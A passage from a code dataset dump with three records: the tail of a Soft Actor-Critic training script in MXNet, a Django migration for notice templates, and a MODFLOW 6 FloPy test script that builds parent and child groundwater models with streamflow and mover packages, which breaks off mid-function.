SAC\nfrom sac.utils import MemoryBuffer\nfrom tensorboardX import SummaryWriter\n\nparser = argparse.ArgumentParser(description=\"Soft Actor-Critic (SAC) in MXNet\")\nparser.add_argument(\n \"--env-name\",\n default=\"MountainCarContinuous-v0\",\n help=\"Gym environment (default: MountainCarContinuous-v0)\",\n)\nparser.add_argument(\n \"--gamma\",\n type=float,\n default=0.99,\n help=\"discount factor for reward (default: 0.99)\",\n)\nparser.add_argument(\n \"--tau\",\n type=float,\n default=0.005,\n help=\"target smoothing coefficient(τ) (default: 0.005)\",\n)\nparser.add_argument(\n \"--lr\", type=float, default=0.003, help=\"learning rate (default: 0.0003)\"\n)\nparser.add_argument(\n \"--alpha\",\n type=float,\n default=0.5,\n help=\"Relative importance of the entropy term against the reward (default: 0.5)\",\n)\nparser.add_argument(\n \"--automatic_entropy_tuning\",\n type=bool,\n default=False,\n help=\"Automatically adjust α (default: False)\",\n)\nparser.add_argument(\n \"--seed\", type=int, default=42, help=\"random seed (default: 123456)\"\n)\nparser.add_argument(\n \"--batch_size\", type=int, default=256, help=\"batch size (default: 256)\"\n)\nparser.add_argument(\n \"--num_episodes\",\n type=int,\n default=1000,\n help=\"maximum number of episodes (default: 1e3)\",\n)\nparser.add_argument(\n \"--hidden_size\", type=int, default=64, help=\"hidden size (default: 64)\"\n)\nparser.add_argument(\n \"--updates_per_step\",\n type=int,\n default=100,\n help=\"number of updates betweeen actions (default: 1)\",\n)\nparser.add_argument(\n \"--env_steps\",\n type=int,\n default=2500,\n help=\"Maximum number of steps for each episode\"\n)\nparser.add_argument(\n \"--epsilon\",\n type=float,\n default=0.8,\n help=\"ε-greedy exploration factor (default: 0.3)\",\n)\nparser.add_argument(\n \"--start_steps\",\n type=int,\n default=1e4,\n help=\"Steps to enforce random actions (default: 1e4)\",\n)\nparser.add_argument(\n \"--target_update_interval\",\n type=int,\n default=1,\n help=\"Value target update per no. of updates per step (default: 1)\",\n)\nparser.add_argument(\n \"--replay_size\", type=int, default=1e6, help=\"size of replay buffer (default: 1e6)\",\n)\nparser.add_argument(\n \"--render\",\n type=int,\n default=0,\n help=\"Render mode [0: disabled, 1: every episode, 2: every evaluation] (default: 0)\",\n)\nparser.add_argument(\n \"--eval_X\",\n type=int,\n default=10,\n help=\"Evaluates a policy a policy every X episodes (default: 10; -1 to disable it)\",\n)\nparser.add_argument(\n \"--verbose\",\n type=int,\n default=1,\n help=\"Set verbosity [0: disabled, 1: every `eval_X` episodes, 2: every episode] (default: 1)\",\n)\nparser.add_argument(\"--gpu\", action=\"store_true\", help=\"run on GPU (default: False)\")\nargs = parser.parse_args()\n\n# Environment\nenv = gym.make(args.env_name)\nenv._max_episode_steps = int(args.env_steps)\n\n# Seed tools\nmxnet.random.seed(args.seed)\nrandom.seed(args.seed)\nenv.seed(args.seed)\n\n# Agent\nagent = SAC(env.observation_space.shape[0], env.action_space, **vars(args))\n\n# TensorboardX\nfilename = \"{}_SAC_{}\".format(\n datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\"), args.env_name\n)\nwriter = SummaryWriter(logdir=\"logs/{}\".format(filename))\n\n# Memory buffer\nmemory = MemoryBuffer(args.replay_size)\n\n# Training Loop\ntotal_numsteps = 0\nupdates = 0\n\nfor i_episode in range(args.num_episodes):\n episode_reward = 0\n episode_steps = 0\n done = False\n state = env.reset()\n transitions = list()\n\n while not done:\n p = random.random()\n threshold = args.epsilon + math.exp(-total_numsteps / args.start_steps)\n if p < threshold:\n action = env.action_space.sample() # Sample random action\n else:\n action = agent.select_action(state) # Sample action from policy\n\n if args.render > 1:\n env.render()\n\n next_state, reward, done, _ = env.step(action)\n episode_steps += 1\n total_numsteps += 1\n episode_reward += reward\n\n # Ignore the \"done\" signal if it comes from hitting the time horizon mask = (1-d)\n mask = 1 if episode_steps == env._max_episode_steps else int(not done)\n transitions.append((state, action, reward, next_state, mask))\n\n state = next_state\n\n memory.push_bulk(transitions) # Append transition to memory\n if len(memory) > args.batch_size:\n # Number of updates per step in environment\n for i in range(args.updates_per_step):\n # Update parameters of all the networks\n (\n critic_1_loss,\n critic_2_loss,\n policy_loss,\n ent_loss,\n alpha,\n ) = agent.update_parameters(memory, args.batch_size, updates)\n\n writer.add_scalar(\"loss/critic_1\", critic_1_loss, updates)\n writer.add_scalar(\"loss/critic_2\", critic_2_loss, updates)\n writer.add_scalar(\"loss/policy\", policy_loss, updates)\n writer.add_scalar(\"loss/entropy_loss\", ent_loss, updates)\n writer.add_scalar(\"entropy_temprature/alpha\", alpha, updates)\n updates += 1\n\n writer.add_scalar(\"reward/train\", episode_reward, i_episode)\n if args.verbose == 2:\n print(\n \"Episode: {}, total numsteps: {}, episode steps: {}, reward: {}\".format(\n i_episode, total_numsteps, episode_steps, round(episode_reward, 2)\n )\n )\n\n if args.eval_X > 0 and args.verbose > 0:\n if i_episode % args.eval_X == 0 and i_episode > 0:\n state = env.reset()\n episode_reward = 0\n done = False\n while not done:\n action = agent.select_action(state, eval=True)\n if args.render > 0:\n env.render()\n\n next_state, reward, done, _ = env.step(action)\n episode_reward += reward\n\n state = next_state\n\n writer.add_scalar(\"avg_reward/test\", episode_reward, i_episode)\n\n print(\"----------------------------------------\")\n print(\n \"Test Episodes: {}, Avg. Reward: {}\".format(\n i_episode, round(episode_reward, 2)\n )\n )\n print(\"----------------------------------------\")\n env.close()\n\nagent.save_model(\"saved_models/{}\".format(filename))\n","repo_name":"artur-deluca/sac-mxnet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"72727055770","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('restful', '0102_auto_20160823_2223'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='notice',\n name='template',\n field=models.CharField(default='default', unique=True, max_length=255, verbose_name='\\u6a21\\u677f\\u540d\\u79f0'),\n ),\n migrations.AlterField(\n model_name='noticetemplate',\n name='category',\n field=models.CharField(default='', max_length=255, verbose_name='\\u6d88\\u606f\\u6a21\\u677f\\u5206\\u7c7b', choices=[('reward', '\\u4e2d\\u5956\\u6d88\\u606f'), ('signup', '\\u6ce8\\u518c\\u6d88\\u606f'), ('system', '\\u7cfb\\u7edf\\u6d88\\u606f'), ('payment', '\\u652f\\u4ed8\\u6d88\\u606f'), ('confirm', '\\u5546\\u54c1\\u786e\\u8ba4')]),\n ),\n ]\n","repo_name":"bopo/surprise","sub_path":"service/backends/migrations/0103_auto_20160902_1352.py","file_name":"0103_auto_20160902_1352.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"23225995910","text":"import os\nimport numpy as np\nimport shutil\nimport math\nimport targets\n\ntry:\n import flopy\n from flopy.utils.lgrutil import Lgr\nexcept:\n msg = \"Error. FloPy package is not available.\\n\"\n msg += \"Try installing using the following command:\\n\"\n msg += \" pip install flopy\"\n raise Exception(msg)\n\nfrom framework import testing_framework\nfrom simulation import Simulation\n\nmf6exe = os.path.abspath(targets.target_dict[\"mf6\"])\n\nname = \"gwf\"\nmvr_scens = [\"mltmvr\", \"mltmvr5050\", \"mltmvr7525\"]\nws = os.path.join(\"temp\", name)\nexdirs = [ws]\nsim_workspaces = []\ngwf_names = []\n\n# ----------------\n# Universal input\n# ----------------\nnumdays = 1\nperlen = [1] * numdays\nnper = len(perlen)\nnstp = [1] * numdays\ntsmult = [1.0] * numdays\n\nicelltype = [1, 0, 0]\n\n# Aquifer properties\nhk = 1\nk33 = 1\n\n# Solver settings\nnouter, ninner = 100, 300\nhclose, rclose, relax = 1e-6, 1e-6, 0.97\n\n# ------------------------------------------\n# Static input associated with parent model\n# ------------------------------------------\nnlayp = 3\nnrowp = 15\nncolp = 15\ndelrp = 1544.1 / ncolp\ndelcp = 1029.4 / nrowp\nx = [round(x, 3) for x in np.linspace(50.0, 45.0, ncolp)]\ntopp = np.repeat(x, nrowp).reshape((15, 15)).T\nz = [round(z, 3) for z in np.linspace(50.0, 0.0, nlayp + 1)]\nbotmp = [topp - z[len(z) - 2], topp - z[len(z) - 3], topp - z[0]]\nidomainp = np.ones((nlayp, nrowp, ncolp), dtype=np.int32)\n# Zero out where the child grid will reside\nidomainp[0:2, 6:11, 2:8] = 0\n\n\n# ------------------------------------------\n# Common SFR data for all parent models\n# ------------------------------------------\n\n# Package_data information\nsfrcells = [\n (0, 0, 1),\n (0, 1, 1),\n (0, 2, 1),\n (0, 2, 2),\n (0, 3, 2),\n (0, 4, 2),\n (0, 4, 3),\n (0, 5, 3),\n (0, 8, 8),\n (0, 8, 9),\n (0, 8, 10),\n (0, 8, 11),\n (0, 7, 11),\n (0, 7, 12),\n (0, 6, 12),\n (0, 6, 13),\n (0, 6, 14),\n (0, 5, 14),\n]\nrlen = [\n 65.613029,\n 72.488609,\n 81.424789,\n 35.850410,\n 75.027390,\n 90.887520,\n 77.565651,\n 74.860397,\n 120.44695,\n 112.31332,\n 109.00368,\n 91.234566,\n 67.486000,\n 24.603355,\n 97.547943,\n 104.97595,\n 8.9454498,\n 92.638367,\n]\nrwid = 5\nrgrd1 = 0.12869035e-02\nrgrd2 = 0.12780087e-02\nrbtp = [\n 49.409676,\n 49.320812,\n 49.221775,\n 49.146317,\n 49.074970,\n 48.968212,\n 48.859821,\n 48.761742,\n 45.550678,\n 45.401943,\n 45.260521,\n 45.132568,\n 45.031143,\n 44.972298,\n 44.894241,\n 44.764832,\n 44.692032,\n 44.627121,\n]\nrbth = 1.5\nrbhk = 0.1\nman = 0.04\nustrf = 1.0\nndv = 0\n\n# -----------------------------------------------\n# Child model SFR data (common to all scenarios)\n# -----------------------------------------------\nconnsc = []\nfor i in np.arange(89):\n if i == 0:\n connsc.append((i, -1 * (i + 1)))\n elif i == 88:\n connsc.append((i, i - 1))\n else:\n connsc.append((i, i - 1, -1 * (i + 1)))\n\n# Package_data information\nsfrcellsc = [\n (0, 0, 3),\n (0, 1, 3),\n (0, 1, 2),\n (0, 2, 2),\n (0, 2, 1),\n (0, 3, 1),\n (0, 4, 1),\n (0, 5, 1),\n (0, 6, 1),\n (0, 7, 1),\n (0, 7, 2),\n (0, 7, 3),\n (0, 7, 4),\n (0, 6, 4),\n (0, 5, 4),\n (0, 4, 4),\n (0, 3, 4),\n (0, 3, 5),\n (0, 3, 6),\n (0, 4, 6),\n (0, 4, 7),\n (0, 5, 7),\n (0, 5, 8),\n (0, 6, 8),\n (0, 7, 8),\n (0, 7, 7),\n (0, 8, 7),\n (0, 8, 6),\n (0, 8, 5),\n (0, 8, 4),\n (0, 9, 4),\n (0, 9, 3),\n (0, 10, 3),\n (0, 11, 3),\n (0, 12, 3),\n (0, 13, 3),\n (0, 13, 4),\n (0, 14, 4),\n (0, 14, 5),\n (0, 14, 6),\n (0, 13, 6),\n (0, 13, 7),\n (0, 12, 7),\n (0, 11, 7),\n (0, 11, 8),\n (0, 10, 8),\n (0, 9, 8),\n (0, 8, 8),\n (0, 7, 8),\n (0, 7, 9),\n (0, 6, 9),\n (0, 5, 9),\n (0, 4, 9),\n (0, 3, 9),\n (0, 2, 9),\n (0, 2, 10),\n (0, 1, 10),\n (0, 0, 10),\n (0, 0, 11),\n (0, 0, 12),\n (0, 0, 13),\n (0, 1, 13),\n (0, 2, 13),\n (0, 3, 13),\n (0, 4, 13),\n (0, 5, 13),\n (0, 6, 13),\n (0, 6, 12),\n (0, 7, 12),\n (0, 8, 12),\n (0, 9, 12),\n (0, 10, 12),\n (0, 11, 12),\n (0, 12, 12),\n (0, 12, 13),\n (0, 13, 13),\n (0, 13, 14),\n (0, 13, 15),\n (0, 12, 15),\n (0, 11, 15),\n (0, 10, 15),\n (0, 10, 16),\n (0, 9, 16),\n (0, 9, 15),\n (0, 8, 15),\n (0, 7, 15),\n (0, 6, 15),\n (0, 6, 16),\n (0, 6, 17),\n]\n\nrlenc = [\n 24.637711,\n 31.966246,\n 26.376442,\n 11.773884,\n 22.921772,\n 24.949730,\n 23.878050,\n 23.190311,\n 24.762365,\n 24.908625,\n 34.366299,\n 37.834534,\n 6.7398176,\n 25.150850,\n 22.888292,\n 24.630053,\n 24.104542,\n 35.873375,\n 20.101446,\n 35.636936,\n 39.273537,\n 7.8477302,\n 15.480835,\n 22.883194,\n 6.6126003,\n 31.995899,\n 9.4387379,\n 35.385513,\n 35.470993,\n 23.500074,\n 18.414469,\n 12.016913,\n 24.691732,\n 23.105467,\n 23.700483,\n 19.596104,\n 5.7555680,\n 34.423119,\n 36.131992,\n 7.4424477,\n 35.565659,\n 1.6159637,\n 32.316132,\n 20.131876,\n 6.5242062,\n 25.575630,\n 25.575630,\n 24.303566,\n 1.9158504,\n 21.931326,\n 23.847176,\n 23.432203,\n 23.248718,\n 23.455051,\n 15.171843,\n 11.196334,\n 34.931976,\n 4.4492774,\n 36.034172,\n 38.365566,\n 0.8766859,\n 30.059759,\n 25.351671,\n 23.554117,\n 24.691738,\n 26.074226,\n 13.542957,\n 13.303432,\n 28.145079,\n 24.373089,\n 23.213642,\n 23.298107,\n 24.627758,\n 27.715137,\n 1.7645065,\n 39.549232,\n 37.144009,\n 14.943290,\n 24.851254,\n 23.737432,\n 15.967736,\n 10.632832,\n 11.425938,\n 20.009295,\n 24.641207,\n 27.960585,\n 4.6452723,\n 36.717735,\n 34.469074,\n]\nrwidc = 5\nrgrdc = 0.14448310e-02\nrbtpc = [\n 48.622822,\n 48.581932,\n 48.539783,\n 48.512222,\n 48.487160,\n 48.452576,\n 48.417301,\n 48.383297,\n 48.348656,\n 48.312775,\n 48.269951,\n 48.217793,\n 48.185593,\n 48.162552,\n 48.127850,\n 48.093521,\n 48.058315,\n 48.014984,\n 47.974548,\n 47.934284,\n 47.880165,\n 47.846127,\n 47.829273,\n 47.801556,\n 47.780251,\n 47.752357,\n 47.722424,\n 47.690044,\n 47.638855,\n 47.596252,\n 47.565975,\n 47.543991,\n 47.517471,\n 47.482941,\n 47.449127,\n 47.417850,\n 47.399536,\n 47.370510,\n 47.319538,\n 47.288059,\n 47.256992,\n 47.230129,\n 47.205616,\n 47.167728,\n 47.148472,\n 47.125282,\n 47.088329,\n 47.052296,\n 47.033356,\n 47.016129,\n 46.983055,\n 46.948902,\n 46.915176,\n 46.881439,\n 46.853535,\n 46.834484,\n 46.801159,\n 46.772713,\n 46.743465,\n 46.689716,\n 46.661369,\n 46.639019,\n 46.598988,\n 46.563660,\n 46.528805,\n 46.492130,\n 46.463512,\n 46.444118,\n 46.414173,\n 46.376232,\n 46.341858,\n 46.308254,\n 46.273632,\n 46.235821,\n 46.214523,\n 46.184677,\n 46.129272,\n 46.091644,\n 46.062897,\n 46.027794,\n 45.999111,\n 45.979897,\n 45.963959,\n 45.941250,\n 45.908993,\n 45.870995,\n 45.847439,\n 45.817558,\n 45.766132,\n]\nrbthc = 1.5\nrbhkc = 0.1\nmanc = 0.04\nustrfc = 1.0\nndvc = 0\n\n\n# ---------------------------------------------------\n# Scenario specific parent model SFR connection data\n# ---------------------------------------------------\nconnsp_base = [\n (0, -1),\n (1, 0, -2),\n (2, 1, -3),\n (3, 2, -4),\n (4, 3, -5),\n (5, 4, -6),\n (6, 5, -7),\n (7, 6),\n (8, -9),\n (9, 8, -10),\n (10, 9, -11),\n (11, 10, -12),\n (12, 11, -13),\n (13, 12, -14),\n (14, 13, -15),\n (15, 14, -16),\n (16, 15, -17),\n (17, 16),\n]\n\nconnsp_mvr = [\n (0, -1),\n (1, 0, -2),\n (2, 1, -3),\n (3, 2, -4),\n (4, 3, -5),\n (5, 4, -6),\n (6, 5, -7),\n (7, 6),\n (8, -9),\n (9, 8, -10),\n (10, 9, -11),\n (11, 10, -12),\n (12, 11, -13),\n (13, 12, -14),\n (14, 13, -15),\n (15, 14),\n (16, -17),\n (17, 16),\n]\n\nscen_conns = [connsp_base, connsp_mvr, connsp_mvr]\n\n# ---------------------------------------------------\n# Scenario specific MVR connection data\n# (for simulation- and gwf-level MVRs)\n# ---------------------------------------------------\n# parent model gwf mvr\n# static data\nmvrpack = [[\"WEL-1\"], [\"SFR-parent\"]]\nmaxpackages = len(mvrpack)\nmaxmvr = 10\n\n# scenario specific data\nparent_mvr_frac = [None, 0.50, 0.75]\n\n\ndef get_parent_mvr_info(frac):\n # return the appropriate mvr info for the current scenario\n mvrperioddata = [(\"WEL-1\", 0, \"SFR-parent\", 10, \"FACTOR\", 1.0)]\n if frac is not None:\n mvrperioddata.append(\n (\"SFR-parent\", 15, \"SFR-parent\", 16, \"FACTOR\", frac)\n )\n\n mvrspd = {0: mvrperioddata}\n\n return mvrspd\n\n\n# child model gwf mvr_scen\nmvrpackc = [[\"WEL-2\"], [\"SFR-child\"]]\nmaxpackagesc = len(mvrpackc)\nmvrperioddatac = [(\"WEL-2\", 0, \"SFR-child\", 53, \"FACTOR\", 1.0)]\nmvrspdc = {0: mvrperioddatac}\n\n\n# simulation mvr\ndef generate_parentmod_sfr_input(conns):\n pkdat = []\n for i in np.arange(len(rlen)):\n if i < 8:\n rgrd = rgrd1\n else:\n rgrd = rgrd2\n\n cln_list = len(\n [itm for itm in conns[i] if itm is not None and itm is not np.nan]\n )\n ncon = cln_list - 1\n pkdat.append(\n (\n i,\n sfrcells[i],\n rlen[i],\n rwid,\n rgrd,\n rbtp[i],\n rbth,\n rbhk,\n man,\n ncon,\n ustrf,\n ndv,\n )\n )\n\n return pkdat\n\n\ndef generate_childmod_sfr_input():\n pkdatc = []\n for i in np.arange(len(rlenc)):\n cln_list = len(\n [itm for itm in connsc[i] if itm is not None and itm is not np.nan]\n )\n nconc = cln_list - 1\n pkdatc.append(\n (\n i,\n sfrcellsc[i],\n rlenc[i],\n rwidc,\n rgrdc,\n rbtpc[i],\n rbthc,\n rbhkc,\n manc,\n nconc,\n ustrfc,\n ndvc,\n )\n )\n\n return pkdatc\n\n\ndef instantiate_base_simulation(scen_nam, gwfname, gwfnamec):\n # All pckgs between 3 test models the same except for parent model SFR input\n # static model data\n scen_ws = ws + \"-\" + scen_nam\n sim_workspaces.append(scen_ws)\n gwf_names.append(gwfname)\n sim = flopy.mf6.MFSimulation(\n sim_name=name,\n version=\"mf6\",\n exe_name=mf6exe,\n sim_ws=scen_ws,\n continue_=False,\n )\n\n # Instantiate time discretization package\n tdis_rc = []\n for i in range(len(perlen)):\n tdis_rc.append((perlen[i], nstp[i], tsmult[i]))\n\n tdis = flopy.mf6.ModflowTdis(\n sim, time_units=\"DAYS\", nper=nper, perioddata=tdis_rc\n )\n\n # Instantiate the gwf model (parent model)\n gwf = flopy.mf6.ModflowGwf(\n sim,\n modelname=gwfname,\n save_flows=True,\n newtonoptions=\"NEWTON\",\n model_nam_file=\"{}.nam\".format(gwfname),\n )\n\n # Create iterative model solution and register the gwf model with it\n imsgwf = flopy.mf6.ModflowIms(\n sim,\n print_option=\"SUMMARY\",\n outer_dvclose=hclose,\n outer_maximum=nouter,\n under_relaxation=\"NONE\",\n inner_maximum=ninner,\n inner_dvclose=hclose,\n rcloserecord=rclose,\n linear_acceleration=\"BICGSTAB\",\n scaling_method=\"NONE\",\n reordering_method=\"NONE\",\n relaxation_factor=relax,\n filename=\"{}.ims\".format(gwfname),\n )\n sim.register_ims_package(imsgwf, [gwf.name])\n\n # Instantiate the discretization package\n dis = flopy.mf6.ModflowGwfdis(\n gwf,\n nlay=nlayp,\n nrow=nrowp,\n ncol=ncolp,\n delr=delrp,\n delc=delcp,\n top=topp,\n botm=botmp,\n idomain=idomainp,\n filename=\"{}.dis\".format(gwfname),\n )\n\n # Instantiate initial conditions package\n strt = [topp - 0.25, topp - 0.25, topp - 0.25]\n ic = flopy.mf6.ModflowGwfic(\n gwf, strt=strt, filename=\"{}.ic\".format(gwfname)\n )\n\n # Instantiate node property flow package\n npf = flopy.mf6.ModflowGwfnpf(\n gwf,\n save_flows=False,\n alternative_cell_averaging=\"AMT-LMK\",\n icelltype=icelltype,\n k=hk,\n k33=k33,\n save_specific_discharge=False,\n filename=\"{}.npf\".format(gwfname),\n )\n\n # output control\n oc = flopy.mf6.ModflowGwfoc(\n gwf,\n budget_filerecord=\"{}.bud\".format(gwfname),\n head_filerecord=\"{}.hds\".format(gwfname),\n headprintrecord=[(\"COLUMNS\", 10, \"WIDTH\", 15, \"DIGITS\", 6, \"GENERAL\")],\n saverecord=[(\"HEAD\", \"LAST\"), (\"BUDGET\", \"LAST\")],\n printrecord=[(\"HEAD\", \"LAST\"), (\"BUDGET\", \"LAST\")],\n )\n\n # Instantiate constant head package\n rowList = np.arange(0, nrowp).tolist()\n layList = np.arange(0, nlayp).tolist()\n chdspd_left = []\n chdspd_right = []\n\n # Loop through rows, the left & right sides will appear in separate,\n # dedicated packages\n hd_left = 49.75\n hd_right = 44.75\n for l in layList:\n for r in rowList:\n # first, do left side of model\n chdspd_left.append([(l, r, 0), hd_left])\n # finally, do right side of model\n chdspd_right.append([(l, r, ncolp - 1), hd_right])\n\n chdspd = {0: chdspd_left}\n chd1 = flopy.mf6.modflow.mfgwfchd.ModflowGwfchd(\n gwf,\n maxbound=len(chdspd),\n stress_period_data=chdspd,\n save_flows=False,\n pname=\"CHD-1\",\n filename=\"{}.chd1.chd\".format(gwfname),\n )\n chdspd = {0: chdspd_right}\n chd2 = flopy.mf6.modflow.mfgwfchd.ModflowGwfchd(\n gwf,\n maxbound=len(chdspd),\n stress_period_data=chdspd,\n save_flows=False,\n pname=\"CHD-2\",\n filename=\"{}.chd2.chd\".format(gwfname),\n )\n\n welspd_mf6 = []\n # [(layer, row, column), flow]\n welspd_mf6.append([(3 - 1, 8 - 1, 10 - 1), -5.0])\n wel_mf6_spd = {0: welspd_mf6}\n maxbound = len(welspd_mf6)\n wel = flopy.mf6.ModflowGwfwel(\n gwf,\n print_input=False,\n print_flows=True,\n maxbound=maxbound,\n mover=True,\n auto_flow_reduce=0.1,\n stress_period_data=wel_mf6_spd, # wel_spd established in the MVR setup\n boundnames=False,\n save_flows=True,\n pname=\"WEL-1\",\n filename=\"{}.wel\".format(gwfname),\n )\n\n # ---------------------------\n # Now work on the child grid\n # ---------------------------\n ncpp = 3\n ncppl = [3, 3, 0]\n\n lgr = Lgr(\n nlayp,\n nrowp,\n ncolp,\n delrp,\n delcp,\n topp,\n botmp,\n idomainp,\n ncpp=ncpp,\n ncppl=ncppl,\n xllp=0.0,\n yllp=0.0,\n )\n\n # Get child grid info:\n delrc, delcc = lgr.get_delr_delc()\n idomainc = lgr.get_idomain() # child idomain\n topc, botmc = lgr.get_top_botm() # top/bottom of child grid\n\n # Instantiate the gwf model (child model)\n gwfc = flopy.mf6.ModflowGwf(\n sim,\n modelname=gwfnamec,\n save_flows=True,\n newtonoptions=\"NEWTON\",\n model_nam_file=\"{}.nam\".format(gwfnamec),\n )\n\n # Instantiate the discretization package\n child_dis_shp = lgr.get_shape()\n nlayc = child_dis_shp[0]\n nrowc = child_dis_shp[1]\n ncolc = child_dis_shp[2]\n disc = flopy.mf6.ModflowGwfdis(\n gwfc,\n nlay=nlayc,\n nrow=nrowc,\n ncol=ncolc,\n delr=delrc,\n delc=delcc,\n top=topc,\n botm=botmc,\n idomain=idomainc,\n filename=\"{}.dis\".format(gwfnamec),\n )\n\n # Instantiate initial conditions package\n strtc = [\n topc - 0.25,\n topc - 0.25,\n topc - 0.25,\n topc - 0.25,\n topc - 0.25,\n topc - 0.25,\n ]\n icc = flopy.mf6.ModflowGwfic(\n gwfc, strt=strtc, filename=\"{}.ic\".format(gwfnamec)\n )\n\n # Instantiate node property flow package\n icelltypec = [1, 0, 0, 0, 0, 0]\n npfc = flopy.mf6.ModflowGwfnpf(\n gwfc,\n save_flows=False,\n alternative_cell_averaging=\"AMT-LMK\",\n icelltype=icelltypec,\n k=hk,\n k33=k33,\n save_specific_discharge=False,\n filename=\"{}.npf\".format(gwfnamec),\n )\n\n # output control\n occ = flopy.mf6.ModflowGwfoc(\n gwfc,\n budget_filerecord=\"{}.bud\".format(gwfnamec),\n head_filerecord=\"{}.hds\".format(gwfnamec),\n headprintrecord=[(\"COLUMNS\", 10, \"WIDTH\", 15, \"DIGITS\", 6, \"GENERAL\")],\n saverecord=[(\"HEAD\", \"LAST\"), (\"BUDGET\", \"LAST\")],\n printrecord=[(\"HEAD\", \"LAST\"), (\"BUDGET\", \"LAST\")],\n )\n\n welspd_mf6c = []\n # [(layer, row, column), flow]\n welspd_mf6c.append([(6 - 1, 4 - 1, 9 - 1), -10.0])\n wel_mf6_spdc = {0: welspd_mf6c}\n maxboundc = len(welspd_mf6c)\n welc = flopy.mf6.ModflowGwfwel(\n gwfc,\n print_input=False,\n print_flows=True,\n maxbound=maxboundc,\n mover=True,\n auto_flow_reduce=0.1,\n stress_period_data=wel_mf6_spdc, # wel_spd established in the MVR setup\n boundnames=False,\n save_flows=True,\n pname=\"WEL-2\",\n filename=\"{}.wel\".format(gwfnamec),\n )\n\n # exchange data\n exchange_data = lgr.get_exchange_data()\n\n # Establish GWF-GWF exchange\n gwfgwf = flopy.mf6.ModflowGwfgwf(\n sim,\n exgtype=\"GWF6-GWF6\",\n print_flows=True,\n print_input=True,\n exgmnamea=gwfname,\n exgmnameb=gwfnamec,\n nexg=len(exchange_data),\n exchangedata=exchange_data,\n mvr_filerecord=\"{}.mvr\".format(name),\n pname=\"EXG-1\",\n filename=\"{}.exg\".format(name),\n )\n\n return sim, gwf, gwfc\n\n\ndef add_parent_sfr(gwf, gwfname, conns):\n # Instatiate a scenario-specific sfr package\n pkdat = generate_parentmod_sfr_input(conns)\n sfrspd = {0: [[0, \"INFLOW\", 40.0]]}\n sfr = flopy.mf6.ModflowGwfsfr(\n gwf,\n print_stage=False,\n print_flows=True,\n budget_filerecord=gwfname + \".sfr.bud\",\n save_flows=True,\n mover=True,\n pname=\"SFR-parent\",\n unit_conversion=86400.00,\n boundnames=False,\n nreaches=len(conns),\n packagedata=pkdat,\n connectiondata=conns,\n perioddata=sfrspd,\n filename=\"{}.sfr\".format(gwfname),\n )\n\n\ndef add_child_sfr(gwfc, gwfnamec):\n # Instantiate child model sfr package (same for all scenarios)\n pkdatc = generate_childmod_sfr_input()\n sfrspd = {0: [[0, \"INFLOW\", 0.0]]}\n sfrc = flopy.mf6.ModflowGwfsfr(\n gwfc,\n print_stage=False,\n print_flows=True,\n budget_filerecord=gwfnamec + \".sfr.bud\",\n save_flows=True,\n mover=True,\n pname=\"SFR-child\",\n unit_conversion=86400.00,\n boundnames=False,\n nreaches=len(connsc),\n packagedata=pkdatc,\n connectiondata=connsc,\n perioddata=sfrspd,\n filename=\"{}.sfr\".format(gwfnamec),\n )\n\n\ndef add_parent_mvr(gwf, gwfname, frac):\n # get scenario specific mvr data\n mvrspd = get_parent_mvr_info(frac)\n mvr = flopy.mf6.ModflowGwfmvr(\n gwf,\n maxmvr=maxmvr,\n print_flows=True,\n maxpackages=maxpackages,\n packages=mvrpack,\n perioddata=mvrspd,\n budget_filerecord=gwfname + \".mvr.bud\",\n filename=\"{}.mvr\".format(gwfname),\n )\n\n\ndef add_child_mvr(gwfc, gwfnamec):\n mvrc = flopy.mf6.ModflowGwfmvr(\n gwfc,\n maxmvr=maxmvr,\n print_flows=True,\n maxpackages=maxpackagesc,\n packages=mvrpackc,\n perioddata=mvrspdc,\n budget_filerecord=gwfnamec + \".mvr.bud\",\n filename=\"{}.mvr\".format(gwfnamec),\n )\n\n\ndef add_sim_mvr(sim, gwfname, gwfnamec, remaining_frac=None):\n # simulation-level mvr data\n mvrpack_sim = [[gwfname, \"SFR-parent\"], [gwfnamec, \"SFR-child\"]]\n maxpackages_sim = len(mvrpack_sim)\n\n # Set up static SFR-to-SFR connections that remain fixed for entire simulation\n if remaining_frac is not None:\n sim_mvr_perioddata = [ # don't forget to use 0-based values\n [\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 7,\n mvrpack_sim[1][0],\n mvrpack_sim[1][1],\n 0,\n \"FACTOR\",\n 1.00,\n ],\n [\n mvrpack_sim[1][0],\n mvrpack_sim[1][1],\n 88,\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 8,\n \"FACTOR\",\n 1.00,\n ],\n [\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 15,\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 16,\n \"FACTOR\",\n remaining_frac,\n ],\n ]\n else:\n sim_mvr_perioddata = [ # don't forget to use 0-based values\n [\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 7,\n mvrpack_sim[1][0],\n mvrpack_sim[1][1],\n 0,\n \"FACTOR\",\n 1.00,\n ],\n [\n mvrpack_sim[1][0],\n mvrpack_sim[1][1],\n 88,\n mvrpack_sim[0][0],\n mvrpack_sim[0][1],\n 8,\n \"FACTOR\",\n 1.00,\n ],\n ]\n\n mvrspd = {0: sim_mvr_perioddata}\n maxmvr = 3\n mvr = flopy.mf6.ModflowMvr(\n sim,\n modelnames=True,\n maxmvr=maxmvr,\n print_flows=True,\n maxpackages=maxpackages,\n packages=mvrpack_sim,\n perioddata=mvrspd,\n filename=\"{}.mvr\".format(name),\n )\n\n\ndef build_and_run_simulations():\n for idx, (scen_nm, conns, frac) in enumerate(\n zip(mvr_scens, scen_conns, parent_mvr_frac)\n ):\n scen_nm_parent = name + \"_\" + scen_nm + \"_p\"\n scen_nm_child = name + \"_\" + scen_nm + \"_c\"\n sim, gwf, gwfc = instantiate_base_simulation(\n mvr_scens[idx], scen_nm_parent, scen_nm_child\n )\n # add the sfr packages\n add_parent_sfr(gwf, scen_nm_parent, conns)\n 